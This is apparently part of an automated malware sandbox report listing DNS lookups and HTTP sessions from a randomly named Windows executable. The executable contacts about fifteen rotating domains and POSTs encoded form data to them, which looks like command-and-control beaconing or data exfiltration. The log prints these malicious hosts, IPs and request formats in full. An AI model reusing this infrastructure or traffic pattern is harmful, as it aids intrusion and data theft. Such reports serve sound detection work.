Nov 6, 2024 08:41:34.685213089 CET	53	55531	1.1.1.1	192.168.2.6
Nov 6, 2024 08:41:48.562402010 CET	55227	53	192.168.2.6	1.1.1.1
Nov 6, 2024 08:41:48.763184071 CET	53	55227	1.1.1.1	192.168.2.6
Nov 6, 2024 08:42:02.281193972 CET	49263	53	192.168.2.6	1.1.1.1
Nov 6, 2024 08:42:02.410065889 CET	53	49263	1.1.1.1	192.168.2.6
Nov 6, 2024 08:42:16.280123949 CET	60299	53	192.168.2.6	1.1.1.1
Nov 6, 2024 08:42:16.341783047 CET	53	60299	1.1.1.1	192.168.2.6
Nov 6, 2024 08:42:30.147758007 CET	63589	53	192.168.2.6	1.1.1.1
Nov 6, 2024 08:42:30.217531919 CET	53	63589	1.1.1.1	192.168.2.6
Nov 6, 2024 08:42:43.537723064 CET	51569	53	192.168.2.6	1.1.1.1
Nov 6, 2024 08:42:43.557391882 CET	53	51569	1.1.1.1	192.168.2.6
Nov 6, 2024 08:42:57.310529947 CET	63473	53	192.168.2.6	1.1.1.1
Nov 6, 2024 08:42:58.018017054 CET	53	63473	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 6, 2024 08:39:41.594624043 CET	192.168.2.6	1.1.1.1	0x3838	Standard query (0)	www.huiguang.xyz	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:39:58.708657026 CET	192.168.2.6	1.1.1.1	0xbe17	Standard query (0)	www.beingandbecoming.ltd	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:40:12.157268047 CET	192.168.2.6	1.1.1.1	0x9b29	Standard query (0)	www.futurevision.life	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:40:25.685594082 CET	192.168.2.6	1.1.1.1	0x4f79	Standard query (0)	www.schedulemassage.xyz	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:40:39.373497009 CET	192.168.2.6	1.1.1.1	0x9f42	Standard query (0)	www.mcfunding.org	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:40:52.907351017 CET	192.168.2.6	1.1.1.1	0x79dd	Standard query (0)	www.migorengya8.click	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:41:06.422233105 CET	192.168.2.6	1.1.1.1	0x5068	Standard query (0)	www.klohk.tech	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:41:20.124200106 CET	192.168.2.6	1.1.1.1	0x5b7b	Standard query (0)	www.d63dm.top	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:41:34.577125072 CET	192.168.2.6	1.1.1.1	0xdbe6	Standard query (0)	www.servannto.site	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:41:48.562402010 CET	192.168.2.6	1.1.1.1	0x8f6f	Standard query (0)	www.telforce.one	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:42:02.281193972 CET	192.168.2.6	1.1.1.1	0x8308	Standard query (0)	www.cesach.net	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:42:16.280123949 CET	192.168.2.6	1.1.1.1	0x4861	Standard query (0)	www.030002128.xyz	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:42:30.147758007 CET	192.168.2.6	1.1.1.1	0x165c	Standard query (0)	www.auto-deals-cz-000.buzz	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:42:43.537723064 CET	192.168.2.6	1.1.1.1	0xeef9	Standard query (0)	www.bzxs.info	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:42:57.310529947 CET	192.168.2.6	1.1.1.1	0xd025	Standard query (0)	www.econsultoria.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 6, 2024 08:39:42.490822077 CET	1.1.1.1	192.168.2.6	0x3838	No error (0)	www.huiguang.xyz		154.92.61.37	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:39:58.720695019 CET	1.1.1.1	192.168.2.6	0xbe17	No error (0)	www.beingandbecoming.ltd	beingandbecoming.ltd		CNAME (Canonical name)	IN (0x0001)	false
Nov 6, 2024 08:39:58.720695019 CET	1.1.1.1	192.168.2.6	0xbe17	No error (0)	beingandbecoming.ltd		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:39:58.720695019 CET	1.1.1.1	192.168.2.6	0xbe17	No error (0)	beingandbecoming.ltd		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:40:12.281466961 CET	1.1.1.1	192.168.2.6	0x9b29	No error (0)	www.futurevision.life		203.161.49.193	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:40:25.729809999 CET	1.1.1.1	192.168.2.6	0x4f79	No error (0)	www.schedulemassage.xyz	schedulemassage.xyz		CNAME (Canonical name)	IN (0x0001)	false
Nov 6, 2024 08:40:25.729809999 CET	1.1.1.1	192.168.2.6	0x4f79	No error (0)	schedulemassage.xyz		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:40:25.729809999 CET	1.1.1.1	192.168.2.6	0x4f79	No error (0)	schedulemassage.xyz		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:40:39.392317057 CET	1.1.1.1	192.168.2.6	0x9f42	No error (0)	www.mcfunding.org	mcfunding.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 6, 2024 08:40:39.392317057 CET	1.1.1.1	192.168.2.6	0x9f42	No error (0)	mcfunding.org		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:40:39.392317057 CET	1.1.1.1	192.168.2.6	0x9f42	No error (0)	mcfunding.org		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:40:52.951142073 CET	1.1.1.1	192.168.2.6	0x79dd	No error (0)	www.migorengya8.click	migorengya8.click		CNAME (Canonical name)	IN (0x0001)	false
Nov 6, 2024 08:40:52.951142073 CET	1.1.1.1	192.168.2.6	0x79dd	No error (0)	migorengya8.click		198.252.98.54	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:41:06.742695093 CET	1.1.1.1	192.168.2.6	0x5068	No error (0)	www.klohk.tech		103.224.182.242	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:41:20.757752895 CET	1.1.1.1	192.168.2.6	0x5b7b	No error (0)	www.d63dm.top	d63dm.top		CNAME (Canonical name)	IN (0x0001)	false
Nov 6, 2024 08:41:20.757752895 CET	1.1.1.1	192.168.2.6	0x5b7b	No error (0)	d63dm.top		154.23.184.218	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:41:34.685213089 CET	1.1.1.1	192.168.2.6	0xdbe6	No error (0)	www.servannto.site		31.31.196.17	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:41:48.763184071 CET	1.1.1.1	192.168.2.6	0x8f6f	No error (0)	www.telforce.one		13.248.169.48	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:41:48.763184071 CET	1.1.1.1	192.168.2.6	0x8f6f	No error (0)	www.telforce.one		76.223.54.146	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:42:02.410065889 CET	1.1.1.1	192.168.2.6	0x8308	No error (0)	www.cesach.net		217.76.156.252	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:42:16.341783047 CET	1.1.1.1	192.168.2.6	0x4861	No error (0)	www.030002128.xyz		161.97.142.144	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:42:30.217531919 CET	1.1.1.1	192.168.2.6	0x165c	No error (0)	www.auto-deals-cz-000.buzz		199.59.243.227	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:42:43.557391882 CET	1.1.1.1	192.168.2.6	0xeef9	No error (0)	www.bzxs.info		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:42:43.557391882 CET	1.1.1.1	192.168.2.6	0xeef9	No error (0)	www.bzxs.info		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:42:58.018017054 CET	1.1.1.1	192.168.2.6	0xd025	No error (0)	www.econsultoria.online	econsultoria.online		CNAME (Canonical name)	IN (0x0001)	false
Nov 6, 2024 08:42:58.018017054 CET	1.1.1.1	192.168.2.6	0xd025	No error (0)	econsultoria.online		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 6, 2024 08:42:58.018017054 CET	1.1.1.1	192.168.2.6	0xd025	No error (0)	econsultoria.online		15.197.148.33	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.huiguang.xyz

www.beingandbecoming.ltd

www.futurevision.life

www.schedulemassage.xyz

www.mcfunding.org

www.migorengya8.click

www.klohk.tech

www.d63dm.top

www.servannto.site

www.telforce.one

www.cesach.net

www.030002128.xyz

www.auto-deals-cz-000.buzz

www.bzxs.info

www.econsultoria.online

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49911	154.92.61.37	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:39:42.510540962 CET	549	OUT	GET /hv6g/?SvrLY=3P8lALA&DDp=vSitAQgQO9xnWjtJgvvZZsk+23T/NzOm/sAr3nzbW6mT0FGB0/NYbIaPlj7BCWSFPaPgTx5lzENVl3g1chzGBem8ABx5elB2IpCI9aOC0eTdsykMK9iQYMJsZcXRFR0PJFreT4Q= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.huiguang.xyz Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 6, 2024 08:39:43.444372892 CET	835	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 06 Nov 2024 07:39:43 GMT Content-Type: text/html Content-Length: 609 Last-Modified: Sat, 02 Nov 2024 05:16:45 GMT Connection: close ETag: "6725b5bd-261" Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e6 ad a3 e5 9c a8 e5 ae 89 e5 85 a8 e8 bf 9b e5 85 a5 2e 2e 2e 2e 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 5f 68 6d 74 20 3d 20 5f 68 6d 74 20 7c 7c 20 5b 5d 3b 0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 76 61 72 20 68 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0a 20 20 68 6d 2e 73 72 63 20 3d 20 22 68 74 74 70 73 3a 2f 2f 68 6d 2e 62 61 69 64 75 2e 63 6f 6d 2f 68 6d 2e 6a 73 3f 61 31 63 38 63 66 38 63 65 35 31 33 34 33 34 34 34 65 37 38 32 33 66 62 39 35 65 66 65 33 38 65 22 3b 0a 20 20 76 61 72 20 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 20 0a 20 20 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 [TRUNCATED] Data Ascii: <!doctype html><html><head> <title>.......</title> <meta charset="utf-8"><script>var _hmt = _hmt \|\| [];(function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?a1c8cf8ce51343444e7823fb95efe38e"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s);})();</script></head><body><script> window.onload = function() { setTimeout(function() { window.location.href = 'https://34.92.79.175:19817/register'; }, 1000); // 1 }; </script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49983	3.33.130.190	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:39:58.887490034 CET	831	OUT	POST /79tr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.beingandbecoming.ltd Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 208 Cache-Control: no-cache Origin: http://www.beingandbecoming.ltd Referer: http://www.beingandbecoming.ltd/79tr/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 69 44 51 55 32 4b 54 52 48 6b 51 49 38 74 32 63 56 55 6e 67 47 33 6d 37 43 62 68 33 39 57 50 49 52 36 32 77 2f 55 6d 4b 62 45 69 66 76 6f 5a 79 59 4b 38 48 38 56 68 6f 79 69 64 59 31 63 49 68 64 4c 41 6c 75 57 30 54 69 38 6e 55 65 58 70 51 59 62 39 4e 38 78 39 63 4b 43 4a 74 4b 59 44 50 42 6b 32 63 4d 37 79 68 34 65 55 52 36 2b 71 37 74 32 42 52 4a 48 63 50 4c 63 2f 36 73 38 34 71 6c 41 34 77 4f 6d 73 67 30 43 4a 79 51 4f 4d 63 6e 38 55 52 4d 69 52 56 4d 4f 41 44 4b 30 5a 67 57 35 2b 47 59 36 57 75 36 70 72 6d 2b 68 64 4b 79 4d 36 47 5a 72 64 34 38 62 72 4a 52 41 78 32 38 45 66 35 42 43 54 77 68 37 47 7a Data Ascii: DDp=iDQU2KTRHkQI8t2cVUngG3m7Cbh39WPIR62w/UmKbEifvoZyYK8H8VhoyidY1cIhdLAluW0Ti8nUeXpQYb9N8x9cKCJtKYDPBk2cM7yh4eUR6+q7t2BRJHcPLc/6s84qlA4wOmsg0CJyQOMcn8URMiRVMOADK0ZgW5+GY6Wu6prm+hdKyM6GZrd48brJRAx28Ef5BCTwh7Gz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49984	3.33.130.190	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:40:01.441909075 CET	855	OUT	POST /79tr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.beingandbecoming.ltd Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 232 Cache-Control: no-cache Origin: http://www.beingandbecoming.ltd Referer: http://www.beingandbecoming.ltd/79tr/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 69 44 51 55 32 4b 54 52 48 6b 51 49 39 4e 47 63 58 33 66 67 48 58 6d 34 66 72 68 33 30 32 50 4d 52 36 79 77 2f 56 6a 53 62 53 36 66 76 4a 70 79 57 72 38 48 79 31 68 6f 35 43 64 64 34 38 49 75 64 4c 46 59 75 55 77 54 69 38 44 55 65 57 5a 51 62 73 70 4b 7a 42 39 4a 43 69 4a 76 56 49 44 50 42 6b 32 63 4d 37 33 32 34 65 4d 52 37 4f 36 37 69 31 5a 4f 56 58 63 49 66 4d 2f 36 6f 38 34 75 6c 41 34 43 4f 6e 41 4b 30 48 4e 79 51 4b 41 63 2b 49 49 65 57 79 52 54 49 4f 42 4e 47 6d 6f 4f 55 50 6a 44 53 61 57 33 75 75 71 42 2f 58 41 51 75 2f 36 6c 4c 37 39 36 38 5a 7a 37 52 67 78 63 2b 45 6e 35 54 56 66 58 75 50 6a 51 41 41 6d 52 49 77 6d 72 41 76 33 2b 39 65 43 72 56 46 33 50 39 51 3d 3d Data Ascii: DDp=iDQU2KTRHkQI9NGcX3fgHXm4frh302PMR6yw/VjSbS6fvJpyWr8Hy1ho5Cdd48IudLFYuUwTi8DUeWZQbspKzB9JCiJvVIDPBk2cM7324eMR7O67i1ZOVXcIfM/6o84ulA4COnAK0HNyQKAc+IIeWyRTIOBNGmoOUPjDSaW3uuqB/XAQu/6lL7968Zz7Rgxc+En5TVfXuPjQAAmRIwmrAv3+9eCrVF3P9Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49985	3.33.130.190	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:40:03.983037949 CET	1868	OUT	POST /79tr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.beingandbecoming.ltd Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1244 Cache-Control: no-cache Origin: http://www.beingandbecoming.ltd Referer: http://www.beingandbecoming.ltd/79tr/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 69 44 51 55 32 4b 54 52 48 6b 51 49 39 4e 47 63 58 33 66 67 48 58 6d 34 66 72 68 33 30 32 50 4d 52 36 79 77 2f 56 6a 53 62 53 43 66 75 2b 42 79 5a 73 41 48 7a 31 68 6f 36 43 64 63 34 38 49 4a 64 4c 39 63 75 55 73 44 69 2b 4c 55 66 30 52 51 50 4a 46 4b 6b 52 39 4a 4f 43 4a 75 4b 59 43 4e 42 6b 6d 69 4d 37 6e 32 34 65 4d 52 37 4d 53 37 72 47 42 4f 47 6e 63 50 4c 63 2f 32 73 38 35 35 6c 44 4a 33 4f 6e 30 77 30 7a 35 79 51 71 51 63 38 64 55 65 4f 69 52 52 45 75 41 51 47 6d 6b 4e 55 4c 44 6c 53 5a 4b 4a 75 70 71 42 7a 67 52 7a 71 37 71 76 61 36 6c 59 71 4c 33 45 49 32 42 37 7a 6a 4c 2b 66 44 71 6c 70 38 33 72 4f 58 6d 63 49 52 58 54 50 50 2f 4f 2f 72 6e 4d 65 31 33 4c 68 32 74 32 47 74 5a 63 61 70 4d 56 35 7a 30 73 49 6a 63 53 30 6e 45 44 34 53 6b 59 63 49 48 45 38 65 59 48 4a 38 51 4b 72 45 55 5a 38 4b 32 61 58 4d 63 34 48 79 6b 69 38 4d 74 48 73 79 71 70 2b 6b 73 59 4f 44 52 2b 43 56 47 67 75 36 75 48 57 6d 4c 69 36 5a 71 41 69 2f 56 69 48 2f 73 66 73 33 2b 78 70 41 34 6a 43 50 69 4f 72 2f [TRUNCATED] Data Ascii: DDp=iDQU2KTRHkQI9NGcX3fgHXm4frh302PMR6yw/VjSbSCfu+ByZsAHz1ho6Cdc48IJdL9cuUsDi+LUf0RQPJFKkR9JOCJuKYCNBkmiM7n24eMR7MS7rGBOGncPLc/2s855lDJ3On0w0z5yQqQc8dUeOiRREuAQGmkNULDlSZKJupqBzgRzq7qva6lYqL3EI2B7zjL+fDqlp83rOXmcIRXTPP/O/rnMe13Lh2t2GtZcapMV5z0sIjcS0nED4SkYcIHE8eYHJ8QKrEUZ8K2aXMc4Hyki8MtHsyqp+ksYODR+CVGgu6uHWmLi6ZqAi/ViH/sfs3+xpA4jCPiOr/KUqlNTU6oZd8+3WhY8yybIf74WV8yHGowbhaK9TKK/7lyvryL47uAeLbXlDdSW/3EhYvRzq5RXOCTe5EfcaP3V1BSHJCpBaW52ArDLjyrev5wgg4AK3UIentyikHZf3VObVSE70HHTn6lUn65v14CgQN1RWP0eom0U3yuwU+QkboWLLPnAi861WG8bFJryzhL0cIVWIeoJq7BfytyxmejP2TZJ1oG8N5h9fCAI4BcdKTl9Ze6v1UZmT19GEjLqRU2kUpfKFDHKjqt4lUyYRE6gLN8RcLmGGOjG+ZGw3EJU+sI243fPJpEW6L5oyb0HUVAdKHP1yclUXk/W3pEAm3u3CMT4b4HiJc6/E5wAhLYOLwdQuGMl7umQDPLUGTGxonr3qYQ/kTPGYi25uhalEWqJIDZx2bRU3S74gkZnZVgNmeYj7Wsloxq7V5BT/YhMepMImOTKB3lWsDU5n7n9gR2JGKy8G8VXUO8Q6t9cKpFy/fdo9dqCeydeOjIG+PaAWQuP9i74DpPohatSQMNHgnS5ikQ0u2Nc7Ttv8WbeaIA3QAePu0C5+3tbCbhCIywZZl2w66ITKUCdmiYVJTnOVdCOEWbD2lpQYu+wDVjE5qwrA50b3RbHEVUR9Jpn8Eh6DKkefaskXfkZqKKB8rWPq1uxiGZZ0K4oDclc [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49986	3.33.130.190	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:40:06.531075954 CET	557	OUT	GET /79tr/?DDp=vB4016rwfH0MxtawL3zGYGaXYsIh8iPne8uh+mnoHReWloNmM7dp4Fgr6wtK7PtcWtNvsE0Cpt3tQWtVQrZPygs+MxIMUNH2akCfN7/CzpsZyLj6qmJ1F1UuDNbdqvUipDEiTgU=&SvrLY=3P8lALA HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.beingandbecoming.ltd Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 6, 2024 08:40:07.141361952 CET	409	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 06 Nov 2024 07:40:07 GMT Content-Type: text/html Content-Length: 269 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 44 44 70 3d 76 42 34 30 31 36 72 77 66 48 30 4d 78 74 61 77 4c 33 7a 47 59 47 61 58 59 73 49 68 38 69 50 6e 65 38 75 68 2b 6d 6e 6f 48 52 65 57 6c 6f 4e 6d 4d 37 64 70 34 46 67 72 36 77 74 4b 37 50 74 63 57 74 4e 76 73 45 30 43 70 74 33 74 51 57 74 56 51 72 5a 50 79 67 73 2b 4d 78 49 4d 55 4e 48 32 61 6b 43 66 4e 37 2f 43 7a 70 73 5a 79 4c 6a 36 71 6d 4a 31 46 31 55 75 44 4e 62 64 71 76 55 69 70 44 45 69 54 67 55 3d 26 53 76 72 4c 59 3d 33 50 38 6c 41 4c 41 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?DDp=vB4016rwfH0MxtawL3zGYGaXYsIh8iPne8uh+mnoHReWloNmM7dp4Fgr6wtK7PtcWtNvsE0Cpt3tQWtVQrZPygs+MxIMUNH2akCfN7/CzpsZyLj6qmJ1F1UuDNbdqvUipDEiTgU=&SvrLY=3P8lALA"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49987	203.161.49.193	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:40:12.301387072 CET	822	OUT	POST /hxmz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.futurevision.life Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 208 Cache-Control: no-cache Origin: http://www.futurevision.life Referer: http://www.futurevision.life/hxmz/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 38 63 77 4e 39 6d 4a 58 6b 39 44 55 45 72 38 6d 38 70 61 42 53 33 46 2f 62 66 6c 69 34 63 2f 4b 72 41 75 39 66 72 51 63 42 70 71 4c 5a 56 4b 58 6d 46 6b 73 57 42 6a 45 42 7a 49 73 7a 2f 52 67 71 47 6c 36 76 6e 4f 77 65 48 33 49 4e 45 45 4d 5a 45 72 63 75 64 51 72 64 4e 72 39 35 53 69 4c 78 43 34 73 58 6b 65 6c 64 51 6f 46 34 38 39 2f 58 6f 54 63 70 79 42 4d 76 61 43 64 51 56 35 4d 6e 72 48 4d 62 6f 47 61 67 73 55 6f 61 39 35 37 53 39 48 65 70 76 52 74 63 68 73 79 51 56 4e 4c 52 46 35 35 34 6b 43 70 47 44 76 6b 69 58 50 45 34 38 74 65 61 53 4d 65 6b 78 4e 4d 67 74 4d 54 47 71 6b 68 4b 6a 57 4f 2b 59 7a 4b Data Ascii: DDp=8cwN9mJXk9DUEr8m8paBS3F/bfli4c/KrAu9frQcBpqLZVKXmFksWBjEBzIsz/RgqGl6vnOweH3INEEMZErcudQrdNr95SiLxC4sXkeldQoF489/XoTcpyBMvaCdQV5MnrHMboGagsUoa957S9HepvRtchsyQVNLRF554kCpGDvkiXPE48teaSMekxNMgtMTGqkhKjWO+YzK
Nov 6, 2024 08:40:12.982852936 CET	533	IN	HTTP/1.1 404 Not Found Date: Wed, 06 Nov 2024 07:40:12 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49988	203.161.49.193	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
